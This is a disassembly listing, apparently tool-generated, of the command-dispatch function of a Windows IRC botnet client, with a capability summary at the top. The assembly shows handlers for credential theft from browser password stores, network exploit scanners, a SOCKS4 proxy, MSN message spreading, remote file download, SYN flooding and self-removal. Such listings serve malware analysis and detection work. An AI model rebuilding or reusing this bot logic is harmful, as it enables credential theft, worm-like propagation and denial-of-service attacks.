Function at 0x401f1a
Capabilities:
Check for time delay via gettickcount
Create thread
Execute command
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbb0
mov eax, dword [ebp + 0x18]
mov dword [ebp - 4], eax
and dword [ebp - 0x10], 0
cmp dword [ebp + 0x70], 0
je 0x401f87
mov eax, dword [ebp + 8]
push dword [eax]
push str.login
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401f4f
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.logout
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401f6b
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.fukoff
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401f87
push 1
pop eax
jmp 0x403dd9
cmp dword [ebp + 0x2c], 0
je 0x402045
mov eax, dword [ebp + 8]
push dword [eax]
push str.disable
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401fcd
push str.Download
push 0xa
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
call fcn.0040fb02
add esp, 0x1c
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.enable
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402009
push str.Update
push 0xa
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
call fcn.0040fb02
add esp, 0x1c
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.socks4
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402045
push str.Socks4_Server
push 0x11
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
call fcn.0040fb02
add esp, 0x1c
push 1
pop eax
jmp 0x403dd9
push str.login
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40207d
cmp dword [ebp + 0x28], 0
je 0x402075
push str.Already_logged_in_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.logout
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402177
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x402130
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x40210f
cmp dword [ebp - 8], 3
jge 0x40210f
push dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.0040893c
test eax, eax
je 0x4020ee
cmp dword [ebp + 0x1c], 0
jne 0x4020ec
push dword [ebp - 8]
push str.__i__out.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
jmp 0x40210d
cmp dword [ebp + 0x1c], 0
jne 0x40210d
push dword [ebp - 8]
push str.No_user_at:___i_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
jmp 0x40212e
cmp dword [ebp + 0x1c], 0
jne 0x40212e
push dword [ebp - 8]
push str.Invalid_slot:___i_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
jmp 0x40216f
mov eax, dword [ebp + 0x14]
push dword [eax + 8]
mov eax, dword [ebp + 0x14]
push dword [eax + 4]
mov eax, dword [ebp + 0x14]
push dword [eax]
mov ecx, dword [ebp - 4]
call fcn.0040880f
cmp eax, 0xffffffff
je 0x40216f
cmp dword [ebp + 0x1c], 0
jne 0x40216f
mov eax, dword [ebp + 0x14]
push dword [eax]
push str._s_out.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.status
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402222
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x80], eax
push 1
push 0
push dword [ebp - 0x80]
call fcn.00411201
add esp, 0xc
push eax
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
push 1
push dword [0x41cfc8]
push dword [ebp - 0x80]
call fcn.00411201
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
push 1
push dword [0x41cfcc]
push dword [ebp - 0x80]
call fcn.00411201
add esp, 0xc
push eax
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
pop ecx
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x7c]
push eax
push str.Idling
push str._Current_task___s__System_uptime___s__Bot_Uptime___s
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x18
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.process
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4023e9
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
jne 0x402267
cmp dword [ebp + 0x1c], 0
jne 0x40225f
push str.Syntax_error_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0x16c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
and dword [ebp - 0xdc], 0
and dword [ebp - 0xd8], 0
and dword [ebp - 0xd4], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.list
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402323
push 2
call fcn.0040fb80
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4022f6
push dword [ebp - 0xc]
push str.Process_thread
push str._s_already_running:___d_.
push 0x41832c
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
push 1
pop eax
jmp 0x403dd9
mov dword [ebp - 0xdc], 1
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
je 0x402317
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [ebp - 0xe4], eax
jmp 0x40231e
and dword [ebp - 0xe4], 0
jmp 0x4023e4
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.kill
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402383
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x402364
cmp dword [ebp + 0x1c], 0
jne 0x40235c
push str.Syntax_error_
push 0x41832c
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xd8], 1
and dword [ebp - 0xd4], 0
jmp 0x4023e4
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.delete
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4023e4
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x4023c4
cmp dword [ebp + 0x1c], 0
jne 0x4023bc
push str.Syntax_error_
push 0x41832c
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0xd4], 1
jmp 0x403dd7
push str.fukoff
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402472
push 0
push 0
call fcn.00410c49
pop ecx
pop ecx
cmp dword [ebp + 0x1c], 0
jne 0x402431
mov eax, dword [ebp + 0x14]
push dword [eax + 8]
mov eax, dword [ebp + 0x14]
push dword [eax + 4]
mov eax, dword [ebp + 0x14]
push dword [eax]
push str.Removed_by:__s__s__s
push dword [ebp - 4]
call fcn.00409345
add esp, 0x14
jmp 0x402451
push 0x4152e4
mov eax, dword [ebp + 0x14]
push dword [eax + 4]
mov eax, dword [ebp + 0x14]
push dword [eax]
push str.Removed_by:__s__s__s
push dword [ebp - 4]
call fcn.00409345
add esp, 0x14
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.004092fc
call dword [0x41cc5c]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.pstore
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40256c
push 0x10
call fcn.0040fb80
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4024b9
push str.pstore_already_running
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp - 4]
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push str.PStore_Thread
push 0x10
call fcn.0040f822
pop ecx
pop ecx
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x22c]
push eax
push 0x40dab7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1a8]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x1a8]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x402567
cmp dword [ebp - 0x174], 0
jne 0x402552
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40253f
push str.Starting_internet_explorer_pstore...
push 0x418330
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
jmp 0x403dd7
mov eax, dword [ebp + 8]
push dword [eax]
push str.scanall
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413324
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push str.ntscan
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push 0x41333c
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push str.lsascan
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413330
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push str.advscan
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413318
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413304
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402640
mov eax, dword [ebp + 8]
push dword [eax]
push 0x41330c
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402668
push 0x415338
push 4
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
call fcn.0040fb02
add esp, 0x1c
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.msn.msg
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402764
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0x2e4]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0x20
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
pop ecx
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0
jne 0x4026d3
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x260], eax
push str.MSN_Threads
push 0xc
call fcn.0040f822
pop ecx
pop ecx
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x2e8]
push eax
push 0x40c2e5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x264]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x264]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x40275f
cmp dword [ebp - 0x230], 0
jne 0x402749
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402736
push str.Thread_Activated:_Sending_Message.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
jmp 0x403dd7
mov eax, dword [ebp + 8]
push dword [eax]
push str.msn.stop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40279e
push 1
push 0xb
call fcn.0040fa17
pop ecx
pop ecx
push str.Thread_Disabled.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
jmp 0x403dd7
push str.firefox
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402868
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x2f8], eax
push 0x418330
lea eax, [ebp - 0x3a4]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push str.FIREFOX_Threads
push 8
call fcn.0040f822
pop ecx
pop ecx
mov dword [ebp - 0x324], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x3a8]
push eax
push 0x406d1c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x324]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x324]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x402863
cmp dword [ebp - 0x2f0], 0
jne 0x40284e
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40283b
push str.Starting_firefox_pstore
push 0x418330
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
jmp 0x403dd7
mov eax, dword [ebp + 8]
push dword [eax]
push 0x4132d8
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402892
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
mov ecx, dword [ebp - 4]
call fcn.00408a83
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.join
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402910
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
jne 0x4028d3
cmp dword [ebp + 0x1c], 0
jne 0x4028cb
push str.Syntax_error_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
je 0x4028ea
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [ebp - 0xb8c], eax
jmp 0x4028f4
mov dword [ebp - 0xb8c], 0x419e70
push dword [ebp - 0xb8c]
mov eax, dword [ebp + 8]
push dword [eax + 4]
mov ecx, dword [ebp - 4]
call fcn.004099b2
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.part
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402967
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
jne 0x402951
cmp dword [ebp + 0x1c], 0
jne 0x402949
push str.Syntax_error_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax + 4]
mov ecx, dword [ebp - 4]
call fcn.004099ef
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.socks4
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402b69
mov eax, 0x419d4c
test eax, eax
je 0x4029ac
push 0x419e74
push 0x419d4c
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4029ac
push 0x419d4c
call fcn.004110c2
pop ecx
test eax, eax
je 0x402a04
cmp dword [ebp + 0x1c], 0
jne 0x4029c7
push str.getting_external_ip...
push 0x418330
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
lea eax, [ebp - 0x468]
push eax
push 0
push 0
push 0x411021
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x46c], eax
push 0x2710
push dword [ebp - 0x46c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x46c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x11
call fcn.0040fb80
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402a39
cmp dword [ebp + 0x1c], 0
jne 0x402a31
push str.Socks_server_already_running
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x402a86
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebp - 0xb90], eax
jmp 0x402a93
movzx eax, word [0x4182e4]
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0xb90]
mov dword [ebp - 0x3c4], eax
push dword [ebp - 0x3c4]
push 0x419d4c
push 0x4153e4
push 0x11
call fcn.0040f822
add esp, 0x10
mov dword [ebp - 0x3e0], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x464]
push eax
push 0x40f4cc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x3e0]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x3e0]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x402b3e
cmp dword [ebp - 0x3ac], 0
jne 0x402b15
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402b02
cmp dword [ebp + 0x1c], 0
jne 0x402b3c
push dword [ebp - 0x3c4]
push 0x419d4c
push str.Socks_4__server_started_on__s:_i
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
jmp 0x402b61
cmp dword [ebp + 0x1c], 0
jne 0x402b61
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_start_socks4_daemon___s_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.disable
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402d5b
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x402b93
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x402bb7
cmp dword [ebp + 0x1c], 0
jne 0x402baf
push str.Syntax_error_
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0xc
push 1
pop eax
jmp 0x403dd9
push 0xa
call fcn.0040fb80
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402bf4
cmp dword [ebp + 0x1c], 0
jne 0x402bec
push dword [ebp - 0xc]
push 0x415450
push str._s_already_running:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp - 4]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x474], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0x524]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [ebp - 0x49c], eax
and dword [ebp - 0x494], 0
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax + 0xc], 0
setne cl
mov dword [ebp - 0x490], ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax + 0x10], 0
setne cl
mov dword [ebp - 0x48c], ecx
cmp dword [ebp - 0x10], 0
je 0x402c78
mov dword [ebp - 0xb94], 0x415460
jmp 0x402c84
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0xb94], eax
mov eax, dword [ebp + 8]
push dword [eax + 8]
push dword [ebp - 0xb94]
push 0x415464
push 0xa
call fcn.0040f822
add esp, 0x10
mov dword [ebp - 0x4a4], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x528]
push eax
push 0x403ddb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4a4]
imul ecx, ecx, 0x218
mov dword [ecx + 0x41d200], eax
mov eax, dword [ebp - 0x4a4]
imul eax, eax, 0x218
cmp dword [eax + 0x41d200], 0
je 0x402d2b
cmp dword [ebp - 0x470], 0
jne 0x402cfb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402ce8
cmp dword [ebp + 0x1c], 0
jne 0x402d29
cmp dword [ebp + 0x28], 0
je 0x402d29
mov eax, dword [ebp + 8]
push dword [eax + 8]
mov eax, dword [ebp + 8]
push dword [eax + 4]
push str.Downloading__s_and_saving_it_to:__s.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
jmp 0x402d53
cmp dword [ebp + 0x1c], 0
jne 0x402d53
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4154b4
push str.Failed_to_start_thread__s__error:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.scanall
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413324
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push str.ntscan
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push 0x41333c
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push str.lsascan
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413330
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push str.advscan
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413318
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413304
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e2f
mov eax, dword [ebp + 8]
push dword [eax]
push 0x41330c
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402e57
push str.Scanner
push 4
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
call fcn.0040fb02
add esp, 0x1c
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.stats
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402e7f
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413300
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402ec6
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x402e9d
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov dword [ebp - 0xb98], eax
jmp 0x402ea4
and dword [ebp - 0xb98], 0
push dword [ebp - 0xb98]
push dword [ebp + 0x28]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call section..text
add esp, 0x10
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push str.synstop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402f02
push 0x4154d4
push 6
push 0
push dword [ebp + 0x28]
push dword [ebp + 0x1c]
push dword [ebp - 4]
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
call fcn.0040fb02
add esp, 0x1c
push 1
pop eax
jmp 0x403dd9
mov eax, dword [ebp + 8]
push dword [eax]
push 0x413284
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403110
push 6
call fcn.0040fb80
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402f78
cmp dword [ebp + 0x1c], 0
jne 0x402f55
cmp dword [ebp + 0x20], 0
jne 0x402f55
push dword [ebp - 0xc]
push 0x4154d8
push str._s_already_running:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
push dword [ebp - 4]
call fcn.00409855
add esp, 0x14
cmp dword [ebp + 0x20], 0
je 0x402f78
push dword [ebp - 0xc]
push str.SSYN_Threads
push str._s_already_running:___d_.
mov eax, dword [ebp + 0x14]
push dword [eax]
push dword [ebp - 4]
call fcn.004097dd
add esp, 0x14
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x530], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x534], eax
cmp dword [ebp + 0x20], 0
jne 0x402fa6
mov eax, dword [ebp + 0x14]
push dword [eax + 0xc]
lea eax, [ebp - 0x638]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
jmp 0x402fb9
mov eax, dword [ebp + 0x14]
push dword [eax]
lea eax, [ebp - 0x638]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x7c0], eax
push 0x7f
mov eax, dword [ebp + 8]
push dword [eax + 4]
lea eax, [ebp - 0x7b8]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x7f
mov eax, dword [ebp + 8]
push dword [eax + 8]
lea eax, [ebp - 0x738]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
